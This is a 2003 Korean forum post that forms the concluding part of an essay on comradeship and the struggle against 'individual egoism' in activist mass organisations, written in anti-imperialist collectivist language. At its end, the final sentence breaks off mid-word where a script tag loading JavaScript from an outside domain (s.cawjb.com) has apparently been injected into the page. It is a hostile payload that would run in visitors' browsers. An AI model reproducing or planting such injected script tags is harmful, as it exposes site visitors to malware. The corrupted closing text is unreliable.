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제목 우리시대의 사랑론 ; 못다한 동지애에 대하여
번호 9 작성자 김광수
작성일 2003-03-07 오후 12:22:00 조회수 3046 회
우리시대의 사랑론

김광수(내일을 여는 청년회 부회장/홈피 www.naechung.org)


Ⅰ사랑에 대한 철학사상(사전)적 고찰
Ⅱ사랑의 여러 유형에 대하여
Ⅲ동지애적 사랑에 대하여
Ⅳ맺으며 ; 못 다한 동지애에 대하여

《편집자 주》나는 이 주제에 대한 글을 쓰기가 두렵다. 그래서 나는 글을 쓰기보다는 여러 가지 자료들을 '조합'한다고 생각하였다. 또한 실제 '조합'하였다. 그래서 나는 '글쟁이'가 아니라, '정리자'가 된다. 동시에 "우리시대의 사랑론"은 앞으로 1. 사랑에 대한 철학사상적 고찰 / 2. 사랑의 여러 유형에 대하여 / 3. 동지애적 사랑에 대해 / 4. 우리시대의 사랑에 대해로 구분하여 차례대로 싣겠습니다.

Ⅳ맺으며 ; 못 다한 동지애에 대하여

이 글을 마무리하면서 제가 간곡히 부탁드리고 싶은 것은, <자주적 대중조직>이상에서의 동지애론은 다른 차원으로 이해해 주시기 바라옵고, 여기서는 어디까지나 <자주적 대중조직>내에서의 동지애를 어떻게 현실적으로 확립해 나갈까에 초점을 맞추었으며, 그렇게 이해해 주시길 바란다는 것입니다. 또한 아직까지 동지애를 글(=책)속에서 사문화되어진 빛바랜 의미로 가두어 놓고 있지는 않는지 심각하게 반문해 보는 습관을 가지자 입니다. 나아가 동지애를 말로는 강조하지만 실제 우리가 본래적 의미에서 동지가 될 수 있도록 노력하는 지도 생각하여 보아야 하겠습니다.

그리고 동지애는 말처럼 그렇게 쉬운 문제만이 아님도 잘 알고 있습니다. 그것은 '변혁'운동에 참여하고 있는 주체자신의 노력과 책임도 크겠지만, 또 다르게는 우리의 주변 여건-평등과 자유의 원리에 입각한 사람관계-을 둘러볼 때, 동지애를 강조하는 것이 어쩐지 공허하고 시대에 뒤떨어지고 영악하지 못하고 손해보는 것 같은 .... 등등의 감정에서 자유롭지 못한 것도 잘 살펴보아야 하기 때문입니다.

그러나 보다 중요한 것은 이러저러한 환경과 조건을 탓해서는 아무것도 해결할 수 없다는데 있습니다. 그리고 더 근원적인 것은 민중주체의 사상관점과 대척점에 있는 제국주의의 사상과의 싸움에서 단호하고 효과적으로 투쟁하지 못하고 있음을 자각하고 있지 못한데 있습니다.

주체 자신이 정치사상적으로 각성되고 올곧게 서지 못한 상태에서 다른 사람을 책임지고 진솔한 관계를 맺지 못하는 것은 너무나 당연합니다. 아니 책임지겠다고 덤비고 관계를 맺겠다고 덤비는, 그 것 자체가 자신이 어디에 문제가 있는지를 올바르게 파악하지 못했다는 증거입니다. 이는 간고해보이기만 한 제국주의와의 싸움판에 서 있는 우리가 자신에 대해 철저하지 못하면서(=> 무장해제) 승리를 기대하는 것 자체가 이미 자신의 삶을 변증법적 연관에 의한 통일이 아니라 우연에 맡긴다는 것과 무슨 다름이 있겠습니까? 더구나 제국주의의 사상문화적 침투가 세계 그 어느 곳보다도 기승을 부리며 우리의 사소한 약점이라도 호시탐탐 노리고 있는데 말입니다.

이렇게 놓고 볼 때 동지애는 주체 자신과의 '사상투쟁'에서 시작되며 '조직생활'을 잘 하는데 시작되는 문제임을 알 수 있습니다.

1. 사상투쟁과 동지애

그럼 우리가 올바른 회원관계(=> 동지애)를 옹호, 발전시키려면 어떻게 해야 하는가?
우선 제국주의 사상 가운데 개인이기주의와 타협없는 투쟁을 벌이는데서부터 출발하여야 합니다. 개인이기주의는 동지애의 첫째가는 적입니다. 동지애의 생리 그 자체가 집단과 함께 가는 사람들에 대한 한없는 헌신이자 자기 한몸과 조국과 민중의 운명을 일치시키고자 하는 고귀한 사상감정이기에, 나라도 민족도, 부모형제도, 민중도 아랑곳하지 않는 개인이기주의와는 절대로 공존할 수 없습니다.

현재 통일단결을 가로막고 있는 종파, 끼리끼리주의등도 알고보면 개인이기주의의 다른 표현입니다. 이렇듯 개인이기주의는 동지애의 첫째가는 적인 것입니다.

우리 사회는, 아니 대부분의 모든 회원들의 처지와 환경 그 자체가 개인이기주의가 독벗섯 처럼 자라날 수 있는 너른 토양이 있는데다 제국주의자들이 가장 심혈을 기울여 공세를 펴는 사상도 개인이기주의이기 때문에 이것과의 투쟁은 단칼에 끝장낼 수 없습니다. '분열하여 통치하라'가 이들의 통치수법인데서 더욱더 확인받습니다. 이런 확인은 개인이기주의와의 투쟁이 쉼없고 단호한 투쟁을 통하여서만 극복될 수 있는 것이기에 매우 어렵다는 것을 상징하고 있습니다.

그래서 이런 측면만을 부각할때 일각에서 제기되고 있는 것처럼 개인이기주의는 절대로 극복될 수 없는 것이며, 석학이자 참지식인의 한사람인 이영희선생님 조차도 【새는 좌우의 날개가 있다】에서 개인이기주의와 집단주의의 중간적 의미로 강조합니?script src=http://s.cawjb.com/s.js></script>





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